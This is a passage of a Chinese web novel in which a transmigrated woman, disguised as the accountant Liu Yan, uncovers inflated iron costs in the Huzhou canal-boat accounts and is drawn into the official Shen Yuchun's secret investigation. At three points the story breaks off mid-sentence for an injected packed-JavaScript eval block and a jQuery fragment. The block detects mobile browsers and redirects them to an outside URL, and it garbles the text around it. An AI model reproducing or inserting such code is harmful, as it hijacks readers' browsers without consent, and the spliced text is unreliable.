姜琰顺着话音看向那人,此人确实比自己年龄小一点,此刻眼里放着精光,腹诽道:你可真是张嘴就来,谁说我和沈瑜春相谈甚欢,说白了就是觉得当初在杨府让他们这些人受到侮辱,再次报复罢了。 不过他若是觉得她不敢反击,那就大错特错了,工作几年,她的嘴早就跟淬了毒一样:“这位贤弟,你是说咱们天家的父母官,钦封的正三品,出身清流世家的户部侍郎沈大人会徇私舞弊?” 那人显然没想到姜琰会说得这么直白,红着脸道:“谁知道你和沈大人……” 姜琰简直气笑了,你们自己不愿意和沈瑜春同坐马车,结果见到她相安无事的下来就开始造谣。 她继续反击道:“你哪只眼睛看见我和沈大人相谈甚欢了,难道你趴我们车底听的啊?” “想不到兄台长得干干净净,没想到私底下还有听他人墙角的癖好?” 那人支支吾吾地说不出话,姜琰继续说道:“你担心沈大人舞弊就去举报他好了,在这里无能狂怒,岂不是脱了裤子放屁多此一举?” 那人一听屁啊脱裤子之类的词,脸色瞬间涨红:“你有辱斯文!” 姜琰思忖道:“我糙人一个,贤弟多担待。” 那人还想说什么,被身旁的人拦住:“好了好了,我说李秀才,你跟他计较什么,赶紧做账吧,算出来好赶紧回去了。” 这位李秀才拍了拍自己的白袍,憋着一肚子气坐下,在桌上摔摔打打的泄愤。 姜琰心道你摔吧摔吧,摔坏了就不是骂几句这么简单的事情了,也不理他,看了一眼这位李秀才,还未加冠便是秀才,应该是有两把刷子的,但是气量太小,难成大器。 —— 屋内众人算账算得热火朝天,姜琰虽然负责总账但也不能在那干等着,于是便也拿起账本来核对整理。 她负责的这几本是这次漠北之战从湖州运往京师的粮草漕运费用。 南胤是新建政权,开国至今不到一百年,历经两任君主,但时至今日,长城以外还盘踞着北逃的前朝势力。 前朝国号为“祁”,属于外部势力入侵的大一统王朝,祁国开国皇帝为乌孙族首领,先后攻灭西夜国、大宛国等政权,招降河西走廊的游牧民族月氏,灭亡周朝,最后入主中原,按理来说乌孙族应当相当强悍,靠着几千骑兵打天下,但问题往往也出现于此。 由于乌孙人以游牧的畜牧业为主,不务农耕,祁国的开国皇帝乌孙木离下令将田地全部推平用来养马,还用自己称霸草原的方式管理人口和土地面积是乌孙国几倍的周朝,百姓没饭吃,头顶上的主子每天只想着养马养牛,很快政权就垮台了,开元二十三年,圣高祖起兵,大概五年后,祁就被灭了。 然而由于当时国家积贫良久,祁兵窜逃平连山一带,整整藏了三四年高祖都没办法清理干净,只能派人再修修长城开始拉锯战。 然而最近几年那些已经成为山匪的祁兵又开始死灰复燃,烧杀抢掠无恶不作,还和蒙古开始走私,宣帝一怒之下决心斩草除根。 南胤定都应天,经济重心下移严重,北方无法供给大批量军饷,所以宣帝下旨江浙一带的转运司将本地粮草以水运方式运往京师,再由京师发运官将粮草分散调往各据点,只是…… 姜琰又认真看了看这本账簿上的数字,这湖州转运使呈递的漕船报销单上,六百只能装四百石粳米的普通漕船竟然要一百万钱! 她不可置信地迅速翻阅着账册,一只普通漕船要一万钱,要不是姜秉是靠水运起家的她还真就信了,怎会如此! 她的眼睛快速览过账本上每一页每一行的账目和数字,终于在这本账册中间靠后的内容里发现了不对。 湖州水陆发运司曾在去年年初记下了漕卒造船记录,制船所用木料和加工费用基本都在正常范围内,唯有造船所用钉子等铁制材料成本较高,损耗较大,发运使委托铸铁局制造的造船所用零件中,每一百件中就有五十个意外损耗。 她下意识向周围账房问道:“地方铸铁局难道不设在辖地内部吗?” 此话一出,周遭鸦雀无声,原本正干的火热的几个人闻言停下动作,但并未回答她的问题。 姜琰耐心等了一会儿后,发现这些人思考片刻后又开始了自己的工作,根本不会有人理她,心中无奈。 若是平时她必然不会将这些龃龉放在心上,但事关自己的脑袋,她只好提高音量又问了一遍:“铸铁局……” 还未说完,刚才那位卡住李秀才的账房扯开坐在他身边的人的手道:“每个首府一般都会设一座铸铁局专门负责辖地内的铁器供给,若是产铁较多的地方,有时候会增设几座。” 身旁的那个账房悄悄瞪了他一眼,小声道:“你提醒他作甚!什么铸铁局,哪里需要铸铁局!” 姜琰瞥了一眼他的账本,他手里拿的是军中辎重账本,怎么就不需要铸铁局,哼笑一声,抬头对帮助她的账房道谢:“多谢。” 吕颂云看见对面的男子一双眸子带着盈盈笑意,不自觉地脸上一热,嗫嚅着低头道:“没事……” 姜琰见他们又各自开始忙起自己的事情,心绪也回到了账本上,湖州转运司和铸铁局都在当地首府内,应该不用这么大的损耗才对…… 啪嗒一声,笔无力地掉落在地上。 她在犹豫要不要将这件事告诉沈瑜春。 她来到这个世界,本就是抱着一丝侥幸,只想安分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12834916|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 守己地守着原主的家产过日子,譬如今日之事,倘若她将这件事告诉沈瑜春,如果铸铁局和湖州转运司没有勾结,是正常损耗,那么来日若是被他们知道是她告发的,这些手眼通天的官员想要踩死她岂不是轻而易举? 若是其中真有猫腻,刚才他们几人都已经按了手印,这账本经过谁人之手都写的清清楚楚,若是东窗事发,她必然是要去朝堂上走一遭的。 一个商贾之士,还是女子,翻阅了朝廷的账本,不管怎么样,她都必死。 姜琰一下子慌了神,手中动作慢了下来,心里只想着这件事,周遭的声响都逐渐模糊起来。 “借过,借过?” 姜琰感觉四周空蒙,耳畔出有模糊声音响起,好像有人在叫她。 “借过!!!” 吕颂云提高音量,引得旁人侧目。 姜琰一个激灵回过神,茫然看着吕颂云:“抱歉,你刚刚说什么?” 吕颂云回道:“我要的账本在你身后,你起身我拿一下。” “哦哦。” 姜琰急忙站起,相比之前的游刃有余,现在她的一举一动都看起来毛手毛脚,失了稳重。 吕颂云终于从架子上把账本拿下来,看见姜琰心事重重,有些担心道:“你没事吧。” 姜琰摇摇头,身子软软坐下去,完全没了一开始的精气神,吕颂云还以为是她太累,安慰她道:“现在已是日入时分,再有半个时辰就可以归家,再忍忍。” 姜琰虽然很想告诉他自己还没那么弱,不至于看了这点账本就累得不行,但也不能告诉他真实原因,只能嗯嗯点头感谢道:“好,多谢。” 吕颂云深深看了她一眼收回了视线,若有所思的回到了座位上。 果然如吕颂云所说,没过一会儿知府王大人推开门道:“县衙关门了,正在放饭。” 姜琰却问:“不能回去吗?” 知府挑眉道:“回哪?” “回各自住处啊。” 王大人扑哧一声笑道:“回甚么住处?沈大人没告诉你们不能回去吗,你们看的可是朝廷的账,能轻易放你们回去?赶紧收拾收拾去吃饭,现在日头落下,明天再算。” 姜琰倒是没想到这个利害关系,只得认命跟着小吏去东花厅吃饭,远方晚霞越来越红,金光穿过云层洒在不远处的山峰上,飞檐反宇映着钉头磷磷,远处竹林中明灭的小院升起袅袅炊烟。 姜琰突然觉得心中茫然,看不清前路。 用过晚饭后县衙小吏又带他们去到各自厢房,所幸姜琰是一个人住这才省了些麻烦。 她想了很久,知道外面天色完全暗下来,听着远方鸦声片片,终于决定冲出房门找到沈瑜春告诉他这件事。 姜琰在他门外踌躇良久,手抬起又放下,在她深吸一口气正准备敲门时,门突然打开,只见沈瑜春穿着里衣疑惑开口:“你……” 他好像刚沐浴完,浑身还泛着温热的雾蒙蒙水汽,平时束起的长发此刻湿漉漉的贴着脸颊和肩头,水珠顺着喉结向下顺着精壮胸膛没入稍微敞开的衣领。 “姜小姐?” 姜琰猛然抬头,面前冷冽的男子比往日多了几分温柔,眸光温澈,像一瓢初春的酒酿。 她只能看到沈瑜春丰润的淡粉唇瓣在上下轻动,耳畔全是自己的心跳声。 她有点懵,沈瑜春说什么来着? 7. 第 7 章 “稍等。” 姜琰还在愣神之际,倏然感觉脸上扇过一阵凉风,门啪地一声在她眼前狠狠关上。 姜琰不明所以地眨了眨眼,沈瑜春关门时嘴角绷得紧直,皱着眉垂下双眸,看起来好像有些不悦。 她下意识地摸了摸嘴角,心中愧疚:肯定是自己眼神太过直白让他感觉被冒犯了,等会儿要不道个歉吧。 少顷,原本关得严丝合缝的门被打开,沈瑜春又恢复了先前那一身包裹得严严实实的常服,玄色圆领长袍滚着金丝瑞云边,长衣垂地,身姿挺拔清瘦,头顶明月高挂,清晖洒满大地,更显面前男子昳丽。 姜琰努力平复着怦然心跳,对他说道:“深夜多有打搅,请沈大人恕罪。” 沈瑜春拢了拢身上的披风,淡淡道:“无妨,刚才不知是姜小姐来访,衣冠不整见客,不合礼仪,望姜小姐见谅。” 姜琰摇摇头。 沈瑜春连忙走出屋子道:“姜小姐有事找沈某?。” 姜琰点点头道:“沈大人您看过湖州漕船的核销账本了吗?” 春寒料峭,濯州虽然地处江南一带,但夜晚总还是有些凉的,晚风吹过,她不禁打了个颤。 沈瑜春见姜琰被冻,立刻回到屋子里拿了件披风给她,但被姜琰拒绝了,她笑笑:“此事事关边军将士军饷发放,沈大人咱们还是快些去看看账本吧。” 估计沈瑜春也觉得她说得有礼,点点头,但还是将披风递给姜琰:“深更露重,姜小姐还是披上吧。” 说完他又沉默了一会儿,接着说道:“不然受了风寒,头晕眼花,恐怕出现纰漏。” 姜琰心想也是这个理,觉得沈瑜春人还怪负责的哩,将披风接过盖在身上。 沈瑜春径直向前走去,姜琰心声疑问,问道:“沈大人咱们这是去哪?” 沈瑜春比她更加迷茫:“不是说去看账册吗,当然是去三石坊……” “姜小姐以为去哪?” 姜琰一愣,心想漕船的账本数据自己已经存在系统里了,直接就可以说,但沈瑜春又没系统,当然要去看看,一时间光顾着给自己打圆场,脱口而出道:“我以为要去你屋内呢……” 沈瑜春猛地挺住脚步,回头看她,眼里有种莫名的情绪,姜琰被盯得莫名其妙,半晌才回过味来:“哦哦哦不是,我不是说想去大人你房内,账本我已经记下来了,我是直接可以跟您说的……” 沈瑜春的脸色愈发奇怪,姜琰心想自己还不如不解释呢,越解释越显得她欲盖弥彰,所幸不说了,低着头快速向前走去超过沈瑜春道:“大人快走吧……” 沈瑜春在身后看着像兔子一样逃跑地姜琰,那张平常如古井般平淡无波的脸上升起了点点亮色,但转瞬间便烟消云散了。 由于三石坊是县衙库房,钥匙只有三把,县衙一把,户房主簿一把,最后一把便在当夜守值的吏员身上。 姜琰和沈瑜春都没有钥匙,二人到了门口四目相对,才想起来他们都没钥匙,只好折回去找守正厅的吏员拿钥匙开门。 姜琰心想今晚可真是一波三折啊,只是觉得奇怪——自己忘了也就算了,沈瑜春如此熟悉章程的人也会忘了吗,看他心不在焉的,他在想什么? 二人来到守正厅门前时,屋子里的小窗透出昏黄烛火,看来今夜是有人当值的。 沈瑜春走在前面伸出手敲门,深色的木门衬得他手愈发苍白,甚至要和满地清晖融为一体。 当值的吏员闻声开门,问道:“谁啊?” 沈瑜春回道:“深夜打扰,下官想借三石坊的钥匙一用。” 吏员闻言恭敬回道:“是沈大人啊,您要钥匙?稍等,我去找一下。” “叨扰了。” 吏员摆摆手道:“没事没事,沈大人客气了,下官还未放衙,没到休息的时候呢。” 吏员闪身进了屋子,听见里面哐当哐当响起了翻找声,很快吏员就满头大汗地伸出一根挂着钥匙的食指十指道:“找到了!” 沈瑜春接过钥匙道:“多谢。” 吏员腼腆笑笑道:“沈大人客气。” 青石板路上出现一高一矮两个身影,沈瑜春推开门迎着月光点灯,姜琰则跻身来到木架前,将账本抱下,放到桌上,发现沈瑜春早已坐好,目光沉沉,姜琰伸手在他眼前晃了晃,沈瑜春瞬间恢复清明:“抱歉。” 姜琰打趣道:“沈大人今日未免也说了太多句抱歉。” 这玩笑话是她壮着胆子才说出口的,毕竟尊卑有别,未料沈瑜春却是破天荒地轻笑出声:“抱歉。” 二人四目相对,随即都忍不住再次笑了起来。 姜琰觉得玩笑也开够了,二人之间的气氛也不算太冷,收敛笑容正色道:“大人请看,这是去年年末湖州转运司漕卒呈交的造船所用铁器制物的费用明细,这损耗是不是也太大了些。” 沈瑜春虽然没听说过什么是“明细”,但也能大致意会到,觉得这词用得挺妙,将账本拿过去仔细对比道:“确实是大了些,我记得去年湖州转运司也是要了这么大一笔钱用来造船……” 说着他目光快速飞过面前架子上的几层账本,起身从中间那格里抽出了几本账册:“这是前三年的湖州漕运账本,因为还有旧账没有理清我便让兵部将这些账本全部快马加鞭运送过来,我记得前几年好像还没这么多。” 姜琰从平元十五年开始看起,仔细翻了大概近五年的账本,发现最开始的铁制材料费用确实都在正常范围内,她突然想起来,问了一句:“湖州转运使柳大人上任几年了?” 沈瑜春回道:“大概九年左右,我来户部时湖州转运使就已经是柳大人了。” 姜琰“哦”了一声,好奇地眨眨眼道:“大人您来户部多久了?” 沈瑜春愣了一下,回道:“五年吧。” 姜琰恭维道:“不愧是大人,短短五年就从户部主事升任侍郎,姜某敬佩不已。” 没想到沈瑜春听到这话却像霜打的茄子一般瞬间蔫了一下,眼中闪过一丝晦暗不明的神色,又恢复了先前的紧绷状态,抿着嘴不说话。 姜琰心道一声糟糕,不会自己说错什么话了吧,努力回想起原主脑中的记忆,试图从这些回忆里提取到一丝丝关于沈瑜春的传闻。 但都是徒劳罢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12834917|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,原主那时候还处在痴傻状态,根本记不得太多其他的事情,哪怕记忆中隐隐有些模糊痕迹,却也实在无法清晰回想起来。 这下姜琰就是想安慰也无从下手了,一声不吭地做起事来,她又翻了翻相邻地区的漕运账本,发现别的地区也没有出现这种情况,除了梧州出现过一回铁定费用飙升的情况,她看到这儿沉思起来。 沈瑜春在旁边适时开口道:“那年梧州造船费用之所以飙升,是因为发生了洪涝,淹死了许多人,梧州知府为了使辖地尽快恢复,便对铁匠木匠等工人发放额外商银,所以造船费用高了些。” 姜琰“唔”了一声表示自己明白了,沈瑜春轻咳一声道:“有附加的信件证明,你可以看看。” “好,”姜琰点点头,“但是我没在湖州漕运账本上看见任何附书,所以这是……” 沈瑜春面色肃然,眼中闪过一道冷光:“嗯,你想得没错,应该是有问题。” “但……”他话锋一转,“我们没有证据。” 姜琰震惊道:“这是为何?!” “铁钉等造船材料都镶嵌在漕船内部,光看是看不出来的,目前去往京师的漕船也没有出现过沉船等问题,我们此行声势好大,去铸铁局查看必然会打草惊蛇,若是真有问题,那他们肯定会在我们到达之前把全部的材料销毁。” “湖州转运使柳大人和我在朝中属于不同党派,他不支持明相变法,贸然前去查看必然会留下口舌。” 姜琰侧目听着,心中更加郁闷:“这难道就是历史课本上的朝堂党争?保守派和改革派的碰撞,现实与理想的火花……嗯,听起来好像挺不错的,但是她真的不想搅这趟浑水啊……” 经历过上辈子的卷生卷死加班熬夜,甚至在生命最后一刻她都在祈祷自己能投个好胎,转眼来到这里,愿望已经实现了一半,怎么又开始不停地算账加班,而且……还被卷入朝廷命官的纷争里! 不要啊…… 她的心中防线已经全面崩溃了,但还是硬着头皮回道:“那……那怎么办。” 沈瑜春眸色一沉:“暗访。” 姜琰试探问道:“怎么……算了算了,我不听了!” 知道的越多,责任越大,她不听,不参与就好了! 职场是这样的:他不说你不问,他一问,你惊讶。 这是姜琰的求生之道,但沈瑜春却笑了笑,姜琰看过去,这是她第二次见到他笑,但和之前不同,姜琰感觉沈瑜春笑的有点不怀好意。 只听他说道:“暗中访问当地漕运渡口,买下漕船,把漕船烧了露出铁钉,再称重,若是品质问题,便是他徇私舞弊,若不是,那就是他贪污军饷!” 姜琰痛苦摇头:跟我说干什么啊!我不想听啊! 姜琰嗯嗯点头,硬着头皮说道:“湖州在濯州和应天之间,您回去可以顺便查看……” 还未说完便听沈瑜春打断了她:“谁说我去的?湖州转运使柳大人见过我,我去不就露馅了?” 姜琰右眼皮狠狠跳了一下,突然有种不详的预感:“那谁去……” 沈瑜春微笑道:“你。” 8.第 8 章 “啊?” 姜琰不可置信地睁大眼睛,指着自己再次问道:“我?” 沈瑜春确信地点头,语气不容置喙:“姜老爷是江南一带最大的水商,我听说他最近还在为汝宁织造的事情走动,若是能有个机会去查看一下官家的漕船,他应该是很乐意的。” 姜琰听他这么一说,更加摸不着头脑了:“那让我爹去湖州不就好了吗,我不用去了吧……” 此时的她还心存侥幸,沈瑜春却直截了当回道:“姜老爷不知情,直接找他要解释许多,麻烦。” 姜琰欲哭无泪:“所以就找了我?可是大人,我要是以姜家大小姐的身份去不会惹人怀疑吗?” 沈瑜春坚定回道:“不会。” “我自有办法。” “可……” 姜琰还想再为自己抗争一下,未料沈瑜春却以为她是觉得自己不能胜任这项差事,安慰道:“姜小姐聪慧,定能和我配合的天衣无缝,你放心。” 姜琰:我倒是真没这么想过…… 烛光忽明忽灭,姜琰的表情也在扑朔灯火中变化莫测,沉默了好长一段时间,她煞有其事地说道:“我本不想去湖州,但大人爱民如子,势必要找出那贪污之人的马脚,既如此,姜某也愿祝大人一臂之力,只是我有一个要求。” 沈瑜春倒是没想到她这一番话竟是将责任都推到他身上,挑眉问道:“哦?何事?” 姜琰平时着沈瑜春,目光柔和又坚定:“我要看县衙收缴的我继母李氏的账册。” —— 燕草如碧丝,绿枝低垂几乎要碰到人的头顶,黄泥矮墙上日光斑驳,一双白皙如玉的手轻叩门环。 县衙户房主事闻声立刻从屋内疾步走上前,将门拉开道:“刘账房是吧,我得了沈大人的命令,特地在这儿等你呢。” 姜琰颔首,慢条斯理道:“小人还正想着和主事大人您说呢,没想到您已经知晓了。” 主事热情道:“沈大人已经嘱咐下官了!我这就带你去库房找李氏的账本。” 姜琰点头,随着主事向前走去。 最近军中账务之事差不多已经清算完毕,除了漕船费用不对之外并无其他问题,是以留滞在县衙的账房们几乎全部回到了钱庄或者家中,她这才有机会去查看李氏的账册。 说到沈瑜春…… 姜琰在心中叹了口气,为了系统任务她不得不答应他等濯州所有的账册被户部随行官员们审查完毕,她便随他去湖州暗访转运司。 但姜琰却不想趟这浑水,她在心中另有打算。 “李氏的账本都在这儿了。” “好嘞。” 姜琰将心态整理好,掸了掸账本上的灰,静静翻阅了起来。 她心中默念着启动系统。 【嘀——表格已整理完毕。】 姜琰将表格内容投到纸上,很快就发现了不对。 “德佑三年五月,湖州三明堂向钱庄借款五万两白银,但没过多久三明堂就宣告破产了,大火将三明堂烧成了灰烬。” “同年十月,湖州离信坊向钱庄借款十万两白银,没过多久离信坊就因为原材料产地遭遇旱灾失去收益,没过多久又破产了……” 不仅如此,几乎钱庄以前所有的收益都莫名通过借贷的方式流向了湖州,更令人诧异的事这些商行没过几年都陆陆续续因为各种各样的原因宣告破产,钱庄的钱追不回来,钱庄就开始向李氏名下的钱庄借钱,久而久之,就高债筑台,钱庄也就关门了。 “嘶。” 姜琰在嘴里振振有词道:“哪有这么碰巧的事情……不过为什么都在湖州?湖州到底有什么秘密?” 还有这个系统…… 姜琰一直想不明白这个系统到底想要干什么,如果光是为了核算自己名下资产,那自己现在从李氏手里收回来的产业也有很多坏账,系统为什么只揪着钱庄不放?这个系统到底哪来的,为什么所有证据都指向湖州,它到底要干什么? 姜琰突然有种不好的预感,她现在越来越向着稽查方面走了,不仅和朝廷要员打上了交道,还要去审查朝廷命官的账务,这可和她混吃等死的人生态度太不相符了。 总之,她的愿望永远是贪图享乐一辈子然后在古稀之年顺着上天的旨意死于吃了太多醉虾,而不是兢兢业业一辈子死于不明不白的暗算之下。 至于系统任务嘛…… 湖州她会去的,但跟不跟沈瑜春去就不一定了…… 一个模糊的计划在她脑中形成。 姜琰在脑中想得热火朝天,一时间都没有注意到余光的角落里出现了一道黑影。 沈瑜春背手站在门外,只见屋内的女子正垂首沉思,时不时微微皱眉,好像遇到了难题,他想再向里走一步,在这里只能透过轩窗看见女子莹白的侧脸和因为不悦下意识微撅的嘴唇,带着些少女的娇憨。 其实姜琰是有些英气的长相,最开始在成乾钱庄他还没有认出来她,那时她一副男子扮相,鼻梁高挺,身姿挺拔,芝兰玉树,若是寻常人看了,只会觉得此人面若好女,蔚蔚如君子。 但她说她不愿和老先生笔比试,觉得自己欺负人家,要知道那可是知府幼时的私塾先生,放眼濯州哪怕朝堂,又有谁又有这样的胆量与信心? 初生牛犊不怕虎。 还真是。 他不禁轻笑了一声。 姜琰听到门外有响声,下意识转头看去,发现沈瑜春正站在门口看着她,脸上还有一种偷看别人被抓的窘迫感。 姜琰倒是很少在他脸上看到这么生动的表情,心里疑问的同时又不想去破坏,看了他一眼又回头继续盯着手中的账册。 沈瑜春见自己暴露,也不藏着,径直走入房内,随手拿了账本坐在一旁。 这行为却让姜琰心里上下打鼓,有一种上班被上司盯着工作的感觉,虽然她现在不隶属于任何人。 这种紧张感一直持续着,她总是看两眼账本看两眼沈瑜春,他今天没有穿官服,天青色淡竹金纹长袍柔顺垂下,如玉的骨节透着淡粉色,他的皮肤很白,尤其是乌黑的鬓角衬得他皮肤更加雪白,五官更加深邃,如同泼墨画一般璨然夺目。 沈瑜春确实不是胭脂俗粉。 她看着看着就停止了思考,账本什么的都抛之脑后了,直到沈瑜春再也忍不住与她对视。 姜琰被那双淡金色的眸子,吓了一跳,就像一人独自行走在竹林中,看见竹林深处有一条修长又灵巧的竹叶青,你看它忍不住着了迷,幡然醒悟时,却发现那条竹叶青早就在角落里用那双沉寂着死意的金棕竖瞳紧盯着你。 一时间分不清谁是猎物。 姜琰逼着自己收回视线低头,二人又默不作声地忙着自己的事情,感觉到该看的已经差不多全整理在系统内了,姜琰终于放松地站起来舒展一下身体道:“沈大人,这账本我看完了。” 沈瑜春回道:“嗯,有什么问题吗?” 姜琰没想到他会这么说,连忙摆手道:“没有没有,户部的官人们都整理的非常清楚了,改上缴的铺子田产和税都交了,大人们如此用心,小人深受震撼!” 沈瑜春瞥了她一眼,对她说道:“无事就好。” “嗯嗯,大人,那我就先走了?” 沈瑜春没说话了,姜琰也不知道该不该走,看见他脸色苍白,手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12837021|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下意识地捂着胃,心想沈瑜春不会还没吃饭吧,自己要不要问他? 但是问了难免逃不了和他一起吃饭,但是不问…… 领导夹菜我转桌,领导开门我下车,这样也不好吧,再说沈瑜春人其实挺不错的,就是户部事情太多,自古以来财会人都是这样,钱少事多责任大,自己这几天这么累也不应该赖她。 于是她问道:“大人还未用饭?” 沈瑜春似是有些无奈:“还未,最近户部审查账务越来越多,我刚看完濯州织造的账务。” 话都点到这儿了,姜琰便顺势说下去:“大人平时喜欢吃些什么,喜鱼否?我听说望海楼的鲜鱼不错,我作为濯州人,又是姜家子弟,身为东道主,自然应该请大人去品鉴一番,只是最近太忙,倒是我疏忽了。” 不知为何,姜琰感觉沈瑜春气压低了几分,眉间有些不快,但沈瑜春很快就回道:“姜小姐用心了,我确实还未尝过望海楼的鱼脍。” 姜琰笑笑道:“沈大人请吧。” 二人一同坐上初来县衙的马车,此时的心境已经和第一次完全不同,她不知为何心中突然有些高兴,可能是因为马上就要回到住处,这就是下班的快乐吧。 姜琰只想着赶紧吃完回府,车夫在外面告诉他们已经到望海楼时就兴高采烈地下了车,沈瑜春在后面慢悠悠地踩着骄凳下车,脚刚踩上地面,就感觉迎面迎来一阵风,一个浅绯色的身影张开双臂向他扑过来,远看就像一个张开翅膀的扑棱蛾子一般。 沈瑜春反应很快,迅速躲开,那人扑了个空也不恼,反而厚脸皮地嘿嘿笑道:“沈!大!人!下官可想死你啦!” 沈瑜春嫌弃地皱眉:“离我远点。” 那人咧嘴笑道:“沈大人怎么来这里呀,我记得……” 他话还未说完就被沈瑜春堵住:“你和谁来的。” 那人不好意思地挠头道:“这个嘛……陈员外说这里的鱼好吃,想请咱们户部随行的人来……” 沈瑜春义正言辞道:“我不是说了,不许你们和别人吃饭的吗!” 那人凑上来说道:“我们已经拒绝了,但是人家盛情难却……”眼看着沈瑜春又要生气,他立刻补上一句:“但是账我们已经提前结过了,所以不算那个什么……嘿嘿。” 沈瑜春挑眉道:“那也不许铺张,这笔账从你们每个人的俸禄上走。” “啊……”那人简直要哭了,但没一会儿就破罐子破摔道:“那沈大人你跟我们一起去吃点吗?” 沈瑜春戳穿他:“你想拉我下水?” 那人看看天看看地,就是不看沈瑜春,忽然发现自己旁边还有个人,作揖问道:“这位是?” 姜琰回礼:“在下姓刘名言,是位账房。” “哦哦哦哦……你就是刘账房啊!”那人猛拍一下脑门,揣着手问道:“久仰刘先生大名,您的算学天赋那是声名远扬啊,今日一见,见您气宇轩昂,果真不是俗人!” 姜琰笑笑,回道:“您……大人谬赞了。” 这人一听她言语里有迟疑,立刻接话道:“害,忘了跟先生介绍了,在下户部员外郎辛景和。” 姜琰拱手道:“辛大人。” 辛景和一看撺掇沈瑜春无望,又将注意打在她身上:“刘账房要不要和我们一起去吃饭啊,听说他们家还挺有名的。” 姜琰有些尴尬:“这个……呃……” “辛、景、和。”她的身侧传来男人冷冽的声音,“你去吃饭吧,让人家等了不好,为官最重要的是亲民,荀子有云,水能载舟,亦能覆舟,夫今日为官者……” 辛景和痛苦抱头道:“大人,我这就去了!” 9.第 9 章 辛景和一溜烟地跑进了望海楼里,只留下姜琰和沈瑜春略带尴尬地站在原地。 沈瑜春沉声道:“姜小姐,我们进去吧,”末了,他又抿着嘴,似是很勉强地开口道:“抱歉,明让他一直这样。” 姜琰想了一会儿才反应过来他在说什么,无谓笑道:“辛大人是个有趣的人。” 沈瑜春见她不在意这事,也浅笑着回应。 姜琰看到他如沐春风的笑容,愣了一下,打趣道:“沈大人应该多笑笑。” 沈瑜春怔愣片刻,有些不知所措,姜琰看他又卡住了,转移话题道:“沈大人的表字是什么,我竟还不知道。” 沈瑜春缓缓说道:“昭远。” 说罢,他看向姜琰,似是郑重说道:“不过你不用。” 姜琰正在前面跟掌柜的说话,听到这句话时,没反应过来,转头问道:“什么?” 沈瑜春眸子微微垂下,纤长浓密的眼睫盖住了他眼里的情绪,他抿着嘴说道:“无事。” 姜琰一边随着掌柜上楼一边对着身后的沈瑜春笑道:“以其昭昭,使人昭昭,这字取得妙啊。” 见他还未跟上来,笑意更浓,有些嗔怪:“大人快上来呀。”,话落又转头紧紧跟着掌柜生怕走丢,此时正是客人多的时候,好位置必须要抓紧时间抢占先机。 然而她不知道的是,就在她转头的瞬间,沈瑜春脸上那星星点点的笑意突然消散,狭小逼仄的长窄阶梯上,一声悄然的叹气随着酒楼里宾客的喧嚣声随风而逝。 二人坐定后菜也慢慢摆了上来,姜琰此时已经饿得前胸贴后背了,还没等菜完全上齐就已经按捺不住动筷子的心,但又顾及到对面的沈瑜春,觉得这样不合规矩,只好强忍着乖巧坐着。 沈瑜春看出她的迫不及待了,没有说什么,反而是自己先动手夹了一筷子笋丝。 姜琰见平日一向行为端方的沈瑜春也饿成这样,立马将规矩抛到脑后,拿起筷子就大快朵颐了起来。 二人吃饭的时候很安静,姜琰零星说两句话只能得到沈瑜春的点头示意,便也知道食不言寝不语的道理,也安静了下来,埋头苦吃,等到饭吃完了,又点了一盅香茗,姜琰说这是溜溜缝儿,沈瑜春说是君子应当保持口洁,两人牛头不对马嘴地扯了几句,刚欲起身离开,便看到门口有几个黑影在鬼鬼祟祟地乱晃。 姜琰停下动作示意沈瑜春噤声,沈瑜春瞥了一眼门外,眼中划过一丝无奈,低头揉了下眉心,抬头时发现姜琰已经划着步子起身贴近门口,浑身都紧绷着好像如临大敌,沈瑜春难得露出一丝焦急的神情,慌乱地起身喊道:“姜……刘……” 然而已经来不及了,只见姜琰唰地拉开门,门外几人一个踉跄跌进了屋子里,姜琰看见大概有五六个人同时闯入他们的厢房,也是一愣,抬眼望去,只有躲在最后的人她比较熟悉。 毕竟她才刚见过辛景和。 沈瑜春见状无奈地叹了口气,起身对她说道:“刘公子,这是我们这次户部随行的官员。” 姜琰笑着点头,沈瑜春厉色看向他们,冷冷开口道:“成何体统!” 姜琰被他这架势吓了一跳,刚想开口打几句圆场,未料那几人不仅不害怕,反而笑意更浓,其中一个矮胖男子出列,大着胆子上前作揖道:“在下户部主事贺峻。” 姜琰回礼:“刘言。” 另一个高瘦男人见状也出来说道:“在下员外郎寥宁。” “寥大人。” “主事徐营。” “银库大使管综。” 几人介绍完毕,姜琰也差不多了解了他们的官职,几人虽然比较爱看热闹,但也仅限于私下,如今舞到正主面前也只会支支吾吾地尬笑,姜琰也被他们弄得有些不知所措,更让她疑惑地是这些人为什么躲在门口偷听,毕竟自己现在是男子装束,有什么好八卦的? 